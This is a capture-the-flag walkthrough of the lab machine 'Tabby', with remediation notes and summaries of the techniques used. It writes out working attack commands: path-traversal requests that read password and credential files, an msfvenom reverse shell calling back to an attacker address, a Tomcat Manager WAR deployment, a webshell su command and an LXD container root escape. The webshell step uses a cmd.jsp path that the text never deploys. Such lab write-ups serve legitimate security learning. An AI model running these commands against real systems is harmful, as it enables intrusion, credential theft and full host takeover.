Tabby
Summary
Recon exposed Apache HTTP on port 80 and Apache Tomcat on port 8080 on the megahosting.htb virtual host. The PHP news page on port 80 contained an unauthenticated path-traversal (Local File Inclusion) flaw that let me read any file the web server could access, including the Tomcat credential store.
Web enumeration also found a publicly downloadable backup archive in the web root; cracking its weak password offline yielded a second credential that turned out to be reused as an operating-system account password. Authenticated access to the Tomcat Manager interface — using the LFI-obtained credentials — allowed deployment of a malicious Java web application that installed a command-execution webshell, granting remote code execution as the Tomcat service account.
The cracked backup password was then reused to authenticate directly as the ash user via su, capturing the user flag. Post-compromise enumeration confirmed ash belongs to the lxd group, which provides a documented single-step path to full root access via a privileged container filesystem mount.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered, for ash>"Attack path — how the box was taken
Exact commands 3
Service version scan on the three discovered ports.
$ nmap -Pn -sV -p 22,80,8080 --open $TARGETRegister the virtual hostname so the web application resolves correctly.
$ echo "$TARGET megahosting.htb" | sudo tee -a /etc/hostsConfirm the site loads under the vhost and locate the news feature.
$ curl -sS http://megahosting.htb/ | grep -i newsExact commands 2
Confirm LFI and enumerate local user accounts; look for UID>=1000 entries.
$ curl -s --resolve megahosting.htb:80:$TARGET "http://megahosting.htb/news.php?file=../../../../../../etc/passwd"Read the Tomcat credential store — exposes manager username and password.
$ curl -s --resolve megahosting.htb:80:$TARGET "http://megahosting.htb/news.php?file=../../../../../../usr/share/tomcat9/etc/tomcat-users.xml"FixFix the Local File Inclusion vulnerability in news.phpCritical
Exact commands 2
Download the backup archive directly from the publicly accessible /files/ directory.
$ curl -sS -o 16162020_backup.zip "http://$TARGET/files/16162020_backup.zip"List archive contents without extracting — confirms webroot source files are present.
$ unzip -l 16162020_backup.zipFixRemove sensitive backup archives from publicly accessible web directoriesHigh
Exact commands 2
Extract the password hash from the ZIP for offline cracking.
$ zip2john 16162020_backup.zip > zip.hashCrack the hash against the rockyou wordlist; recovered password is $PASSWORD2.
$ john zip.hash --wordlist=/usr/share/wordlists/rockyou.txtExact commands 4
Build the JSP reverse-shell WAR; replace $ATTACKER_IP with your tun0 interface IP.
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=$ATTACKER_IP LPORT=4444 -f war -o shell.warStart the listener before deploying (run in background).
$ nc -lvnp 4444Upload and deploy the WAR using the LFI-obtained Tomcat credentials.
$ curl -sS -u "tomcat:$PASSWORD" -T shell.war "http://$TARGET:8080/manager/text/deploy?path=/r&update=true"Trigger the deployed application to fire the reverse shell back to the listener.
$ curl -sS "http://$TARGET:8080/r/"FixRestrict and harden the Tomcat Manager interfaceCritical
Exact commands 1
Execute su as ash via the cmd.jsp webshell; returns <user.txt> inside HTML pre tags.
$ curl -sS --get --data-urlencode "c=printf '$PASSWORD2\n' | su - ash -c 'id; cat /home/ash/user.txt'" "http://$TARGET:8080/cmd/cmd.jsp" | sed -n '/<pre>/,/<\/pre>/p'FixEnforce unique passwords — do not reuse credentials across services and system accountsHigh
Exact commands 6
Confirm ash is in the lxd group — the whole escalation rests on that one entry.
$ id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)Serve the minimal Alpine image — metadata.tar.xz and rootfs.tar.xz, built locally — from my own machine.
$ python3 -m http.server 8001Fetch both halves of the image into a directory ash can write.
$ cd /home/ash && wget -q -O metadata.tar.xz http://$ATTACKER_IP:8001/metadata.tar.xz && wget -q -O rootfs.tar.xz http://$ATTACKER_IP:8001/rootfs.tar.xzInitialise LXD with defaults if it has never been run, then import the image under a known alias.
$ lxd init --auto; lxc image import metadata.tar.xz rootfs.tar.xz --alias privescCreate the container privileged, bind-mount the host root at /mnt/root inside it, and start it.
$ lxc init privesc pwn -c security.privileged=true && lxc config device add pwn hostfs disk source=/ path=/mnt/root recursive=true && lxc start pwnRead the root flag from the host filesystem through the container -> <root.txt>
$ lxc exec pwn -- cat /mnt/root/root/root.txtFixRemove unprivileged users from the lxd groupHigh
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
LXD/LXC Group EscapeLinux · Privilege EscalationT1611
What it is
Membership in the lxd (or docker) group is root-equivalent. An unauthorised user imports a minimal image, launches a privileged container with the host filesystem mounted (security.privileged=true, disk source=/), then reads or writes root-owned host files — escaping the container to own the host.
Why it works
The lxd/docker daemons run as root and their group grants full control of that daemon, so group membership bypasses normal privilege boundaries. Remediate by treating these groups as privileged and not adding low-trust users to them.
Read more
Tomcat Manager WAR DeployWeb · Service RCET1190
What it is
Apache Tomcat's Manager application allows deploying web applications. With valid (often default/weak) manager credentials, an unauthorised user uploads a malicious WAR file containing a JSP webshell, which Tomcat deploys and executes — code execution as the Tomcat service user.
Why it works
The Manager app is exposed with default or guessable credentials (tomcat:tomcat, admin:admin) and the deploy feature is RCE by design. Remediate by removing/locking down the Manager app, using strong credentials, and binding it to localhost.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |
| 8080/tcp | http Apache Tomcat |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.